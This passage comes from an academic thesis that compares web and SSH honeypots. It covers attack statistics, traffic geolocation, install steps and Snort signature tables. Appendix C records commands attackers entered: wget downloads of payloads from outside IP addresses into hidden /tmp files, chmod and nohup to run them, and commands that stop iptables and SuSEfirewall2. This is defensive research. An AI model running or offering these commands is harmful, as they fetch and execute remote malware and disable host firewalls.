(1,158 times) and “password” (548 times). On the other hand, the virtual SSH 
honeypot recorded 186,214 attempts for the “root” username and 46,337 for the 
“admin” username, and the top passwords were “admin” (4,248 times) and 
“PASSword” (2,268 times). Clearly, we are seeing randomization in attacks. 
 
Figure 19.  Top 10 usernames attempted (real SSH honeypot). 
 




Figure 21.  Top 10 passwords attempted (real SSH honeypot). 
 
Figure 22.  Top 10 passwords attempted (virtual SSH honeypot). 
Figures 23 and 24 show the most common sources of connections to the 
real and the virtual SSH honeypots. The top 10 numbers of connections for the 
real and the virtual SSH honeypots originated from China. The IP address 
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61.174.51.198 was the highest (with 298 connections) to the real SSH honeypot, 
whereas the IP address 1.93.26.15 was the highest (with 447 connections) to the 
virtual SSH honeypot. 
 
 
Figure 23.  Number of connections per unique IP address (real SSH 
honeypot). 
 




5. Network Traffic Distribution 
We also compared the traffic distribution of the web and the SSH 
honeypots against a legitimate website (www.cmand.org). We used data from 
cmand.org (183,713 IPv4 packets and 199 IPv6 packets) from May 30, 2011, to 
November 26, 2013. For the web honeypot, data were collected from October 31, 
2013, to February 21, 2014 (6,915 packets). Finally, we collected data for the 
SSH honeypot (3,920 packets) from February 2, 2014 to February 22, 2014. For 
the web honeypot, we analyzed data with and without crawler traffic (e.g., Google 
spiders that systematically browse the World Wide Web for the purpose of 
indexing). We used the Python program in Appendix D that called the API GeoIP 
to geolocate IP addresses for the following four datasets: cmand.org, web 
honeypot with crawlers, web honeypot without crawlers, and SSH honeypot. For 
our study, we focused only on unique IP addresses; further analysis could be 
done, however, by considering the whole data sets. 
In Figure 25, unique IPv4 data from cmand.org is plotted; we noticed 43% 
of the traffic came from the American region (ARIN), 33% from the Asian region, 
and 22% from the European region. Less than 3% came from the Latin American 
region (LACNIC) and the African region (AFRINIC). This result made sense since 




Figure 25.  IPv4 address of traffic by region (cmand.org). 
In Figure 26, the plot of unique IPv6 data by regions shows a high 
percentage for IPv6 addresses originating from Europe (56%) and relatively low 
percentage for addresses coming from Asia (7%). This makes sense since the 
RIPE region has always been ahead in IPv6 [20]. APNIC had more ASes than 
ARIN only until 2008, when the IPv6 AS growth rate in the ARIN region changed 
to exponential. 
 
Figure 26.  IPv6 address of traffic by region (cmand.org). 
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In Figures 27 and 28, we plot the web honeypot data with and without 
crawlers. The two graphs look very similar; more traffic, however, is seen in the 
North American region for the data, 42% against 36% (without crawler data). This 
increase of the number of packets coming to the web honeypot is probably since 
the website is indexed by a Google search engine and the closest Google 
crawlers to the server are doing the job.  
 
 
Figure 27.  Web honeypot traffic by regions (without crawler data). 
 
Figure 28.  Web honeypot traffic by regions (with crawler data). 
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By comparing unique IPv4 traffic coming to cmand.org (legitimate traffic) 
and unique IPv4 traffic without crawlers coming to the honeypot (malicious 
traffic), we noticed that the two plots look very similar. We see more malicious 
traffic, however, in the LACNIC region (12%), against (1%) for the legitimate 
traffic. This is explained by the fact that most of the LACNIC traffic came from 
Brazil, which is one of the top hacking countries; Brazil accounted for 3.3% of the 
world’s attack traffic during the fourth quarter of 2012, putting the country in sixth 
place. We expected, however, to see a higher percentage for traffic originating 
from the APNIC region where China is the top-ranked country in the origin of 
malicious traffic [21]. The reason might be the different attack channels used by 
Chinese and Brazilian hackers. The Chinese attackers seem to use SSH more 
often than others based on our SSH data; 80% of the traffic came from the 
APNIC region, mainly from China. 
In Figure 29, we plot unique IPv4 traffic coming to the SSH honeypot. The 
traffic distribution looks very different from the distribution of the web honeypot 
and legitimate web server. Most of the data came from the APNIC region (80%), 
especially from China. The remaining regions had small percentages (6 to 10%) 
except for the AFRINIC region (0%). SSH channels are often used to escape 
censorship and tracking in China and this might be the reason of dominant 





Figure 29.  SSH honeypot traffic by regions. 
In conclusion, results with our datasets supported those of [20]. Also, 
LACNIC traffic differed between legal traffic and attack traffic. 
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VI. CONCLUSIONS AND FUTURE WORK 
A. RESULTS AND CONCLUSIONS 
In this thesis we analyzed the efficiency of honeypots used in deception. 
We tested two different types of honeypot tools in our experiments, one for 
building web honeypots and one for building SSH honeypots. We varied 
parameters and studied their effect on the honeypot’s ability to attract hackers to 
them. We examined the malicious traffic distribution generated for both 
honeypots against a legitimate one. 
We first ran the web honeypot in a residential network, and then in an 
organizational network (NPS network). Although the two honeypots followed the 
same pattern in the first two weeks, the NPS web honeypot received more 
attacks starting in the third week. We conclude that the location where the 
honeypot is deployed has an important effect on its effectiveness. Attackers 
frequently use automated scripts to search for vulnerable servers advertised by 
web crawlers, and target locations where there is a high probability of finding 
important servers. They probably concluded that our NPS site was more 
promising.   
We also compared attacks coming to a web honeypot to attacks coming to 
a legal website (www.cmand.org). It was not easy to distinguish attacks targeting 
the legitimate website because the traffic was a mixture of malicious and 
legitimate packets; mainly the traffic was legitimate since an educational-
institution server did not have a high value from an attacker viewpoint. Results 
showed that the web honeypot received more attacks than the legal website in 
the same period of time. Furthermore, by adding deception to the web honeypot 
running at NPS, we could attract more attacks to it. For example, we added links 
to static web pages inside the main index honeypot web page; we put these 
static web pages in the same source folder of the index web page of the 
honeypot; and we redirected traffic to our running web server by permitting 
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malicious users to click a button for a sign-up form. We did not see lots of sign-up 
attempts, because most attackers are running automatic scripts. This redirection, 
however, provided more interest by attackers to the website. 
 For the SSH honeypots (real and virtual), results showed that the number 
of incoming attacks was similar for both of them. However, we recorded more 
unique IP addresses targeting the virtual SSH honeypot. Also, we saw some 
command-line interaction for the virtual web honeypot (shown in Appendix C) not 
found for the Real SSH honeypot.  
We also examined the source-site distribution of malicious traffic, and 
compared it to a legitimate traffic distribution generated of the website 
www.cmand.org. We found that malicious traffic distribution looks similar to the 
legitimate traffic distribution. However, we saw more malicious traffic in the 
LACNIC region which came from Brazil, one of the top hacking countries. For the 
SSH honeypot, most of the traffic came from the APNIC region, especially from 
China. 
B. FUTURE WORK 
Future work should consider testing more techniques for deception. 
Adding more deception to the web honeypot made it more effective. 
Modifications to the http protocol could be a source of new deception techniques. 
Also, we could use other methods to make a website more attractive but 
providing more useful information. 
Future work could also test other web application honeypots of the 
Honeypot project [4] (e.g., HIHAT, DShield Web Honeypot Project, and Google 
Hack Honeypot). 
The two honeypots tested did not show any IPv6 data in their logging 
systems although IPv6 addressing, especially for servers, is common recently. 
So, we should consider logging and analyzing attacks coming from these 
addresses as well as IPv4 attacks. 
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APPENDIX A. GLASTOPF INSTALLATION 
1. Prerequisites 
• sudo apt-get update 
• sudo apt-get install python2.7 python-openssl python-gevent 
libevent-dev python2.7-dev build-essential make liblapack-dev 
libmysqlclient-dev python-chardet python-requests python-
sqlalchemy python-lxml python-beautifulsoup mongodb python-pip 
python-dev python-numpy python-setuptools python-numpy-dev 
python-scipy libatlas-dev g++ git php5 php5-dev gfortran 
• sudo apt-get install libxml2-dev libxslt1-dev python-dev python-lxml 
libffi-dev 
• sudo pip install --upgrade distribute 
• sudo pip install --upgrade gevent webob pyopenssl chardet lxml 
sqlalchemy jinja2 beautifulsoup requests cssselect pymongo 
MySQL-python pylibinjection libtaxii greenlet psutil 
 
2. Install the PHP sandbox 
• cd /opt 
• sudo git clone git://github.com/glastopf/BFR.git 
• cd BFR 
• sudo phpize 
• sudo ./configure --enable-bfr 
• sudo make && sudo make install 
 
3. Open the php.ini file and add bfr.so accordingly to the build output: 
zend_extension = /usr/lib/php5/20090626+lfs/bfr.so 
 
4. Install latest version of glastopf 
• cd /opt 
• sudo git clone https://github.com/glastopf/glastopf.git 
• cd glastopf 





• Open the file /opt/glastopf/glastopf.conf 
• Change the port number to 80 instead of 8080 
• Make sure to change Apache web server configuration file to run on 
port other than 80 
 
6. Running Glastopf  
• cd /opt 
• sudo mkdir glastopf 
• cd glastopf 




APPENDIX B. KIPPO INSTALLATION 
1. Update and upgrade the system 
• apt-get update 
• apt-get upgrade 
2. Change the port of the ssh server if you have it running in your machine 
• Open the configuration file by vi /etc/ssh/sshd_config 
• Change the option Port 22 to 2222 for example. 
• Restart your server by /etc/init.d/ssh restart 
3. Dependencies 
• apt-get install python-dev openssl python-openssl python-pyasn1 
python-twisted 
• apt-get install subversion 
• apt-get install authbind 
4. Create a new non-root user to run Kippo as 
• adduser kippo 
• Add him to the list of users by visudo and then add the kippo 
ALL=(ALL:ALL) ALL 
• touch /etc/authbind/byport/22 
• chown kippo:kippo /etc/authbind/byport/22 
• chmod 777 /etc/authbind/byport/22\ 
5. Download the latest Kippo version from SVN: 
• svn checkout http://kippo.googlecode.com/svn/trunk/ ./kippo 
• Change the port in Kippo’s configuration file from 2222 to 22 by mv 
kippo.cfg.dist kippo.cfg and then vi kippo.cfg 
6. Edit the Kippo start script: 
• vi start.sh 
• Change the following command from :twistd -y kippo.tac -l 
log/kippo.log --pidfile kippo.pid to authbind --deep twistd -y 
kippo.tac -l log/kippo.log --pidfile kippo.pid 
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APPENDIX C. ADDITIONAL GRAPHS AND TABLES 
 
Figure 30.  Top 10 username-password combinations (real SSH 
honeypot). 
 
Figure 31.  Overall success ratio in guessing the correct username-




Figure 32.  Days with most probes per day (real SSH honeypot). 
 





Figure 34.  Top 10 username-password combinations (virtual SSH 
honeypot). 
 
Figure 35.  Overall success ratio in guessing the correct username-




Figure 36.  Days with most probes per day (virtual SSH honeypot). 
 





Input (success) Count 
ls 11 
echo ‘‘nameserver 8.8.8.8’’ >> /tmp/resolv.conf  4 
wget –O /tmp/.bash_root.tmp3 
http://112.117.223.10:280/.bash_root.tmp3 4 
echo “nameserver 8.8.8.8” >> /etc/resolv.conf  3 
chmod u+x krfconmmd 3 
cd / 2 
cd /opt/ 2 
wget –O /tmp/.bash_root.tmp3 
http://112.117.223.10:280/.bash_root.top 2 
uname -a 2 
wget http://183.60.197.190:1911/.ust 2 
Table 8.   Top 10 successful inputs entered by attackers in the 
honeypot system (virtual SSH honeypot). 
Input (fail) Count 
service iptables stop 12 
SuSEfirewall2 stop 9 
reSuSEfirewall2 stop 9 
/tmp/init.d/iptables stop 7 
/etc/init.d/iptables stop 5 
getconf LONG_BIT  2 
echo /etc/init.d/iptablesstop 2 
nohup /root/.ust > dev/null 2>&1 & 2 
killall -9 .sshdd1400980880 2 
killall -9 b26 2 
Table 9.   Top 10 failed inputs entered by attackers in the 





Signature Name Signature Class Count 
POLICY-OTHER Adobe ColdFusion admin 
interface access attempt 
 policy-violation 1044 
MALWARE-CNC Win.Trojan.AllAple Variant 
ICMP flood attempt 
 trojan-activity 526 
BLACKLIST User-Agent known malicious user 
agent BOT/0.1 
 trojan-activity 40 





POLICY-OTHER PHP uri tag injection attempt  web-application-
attack 
2 
SERVER-WEBAPP Invision IP Board PHP 




MALWARE-OTHER Horde javascript.php href 
backdoor 
 trojan-activity 1 
SERVER-WEBAPP WebTester install2.php 




POLICY-OTHER Adobe ColdFusion admin API 
access attempt 
 policy-violation 1 
SERVER-WEBAPP Symantec Web Gateway 





SERVER-WEBAPP Zabbix session id disclosure 




SERVER-WEBAPP Symantec Web Gateway PHP 




Table 10.   Snort attack signatures on 207.140.106.53 (real web 





Signature Name Signature Class Count 
MALWARE-CNC Win.Trojan.AllAple Variant ICMP 
flood attempt 
trojan-activity 410 
SERVER-WEBAPP PHP-CGI remote file include 
attempt 
attempted-admin 12 
POLICY-OTHER Adobe ColdFusion admin 
interface access attempt 
policy-violation 7 
POLICY-OTHER PHP uri tag injection attempt web-application-
attack 
2 
SERVER-WEBAPP WebTester install2.php 
arbitrary command execution attempt 
attempted-admin 1 
MALWARE-OTHER Horde javascript.php href 
backdoor 
trojan-activity 1 
SERVER-WEBAPP Cisco Prime Data Center 
Network Manager processImageSave.jsp directory 
traversal attempt 
attempted-admin 1 
POLICY-OTHER Adobe ColdFusion admin API 
access attempt 
policy-violation 1 
SERVER-WEBAPP Invision IP Board PHP 
unserialize code execution attempt 
attempted-admin 1 
Table 11.   Snort attack signatures on 207.140.106.58 (virtual 
SSH honeypot). 
Signature Name Signature Class Count 
MALWARE-CNC Win.Trojan.AllAple Variant ICMP 
flood attempt 
trojan-activity 429 
SERVER-WEBAPP PHP-CGI remote file include 
attempt 
attempted-admin 5 
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APPENDIX D.  GEOLOCATION PROGRAM 








//Go through all IP addresses in the input file 
for ip in ips: 
 ai=gi.record_by_addr(ip) 
        if ai: 
//print geolocation information from the IP address    
print("IP:",ip,";",ai['country_name'],";",ai['city'],";",ai['regi
on_code'],";",socket.gethostbyaddr(ip)[0]) 
   //write the IP address in the output file 
  res.write(ip) 
  res.write(";") 
  //write the IP address in the output file 
  res.write(ai['country_name']) 
  res.write(";") 
  //write the city in the output file 
  try: 
   res.write(ai['city']) 
  except: 
   res.write("no city") 
  res.write(";") 
  //write the region in the output file 
  try: 
   res.write(ai['region_code']) 
  except: 
   res.write("no region") 
  res.write(";") 
  res.write("\n") 
 else: 
  print("IP:",ip,"unkown") 
  res.write("unknown\n") 
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